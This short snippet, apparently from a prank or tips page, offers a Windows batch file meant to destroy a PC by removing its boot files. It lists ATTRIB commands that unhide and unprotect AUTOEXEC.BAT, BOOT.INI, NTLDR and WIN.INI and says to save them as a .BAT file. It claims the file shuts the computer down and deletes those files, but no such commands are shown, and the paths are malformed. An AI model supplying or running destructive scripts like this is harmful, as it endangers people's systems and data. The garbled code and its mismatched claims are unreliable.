A way to devastate a PC would be to remove the files that help it to start up. Though not advisable, this is the code that has the power to do it.
ATTRIB -R -S -H C:AUTOEXEC.BAT
ATTRIB -R -S -H C:BOOT.INI
ATTRIB -R -S -H C:NTLDR
ATTRIB -R -S -H C:WINDOWSWIN.INI
SAVE IT AS .BAT FILE.
This will shut the computer down and delete files required to get your computer into a normal state.
Don’t try doing this on your computer unless and until you wish to loose all your data.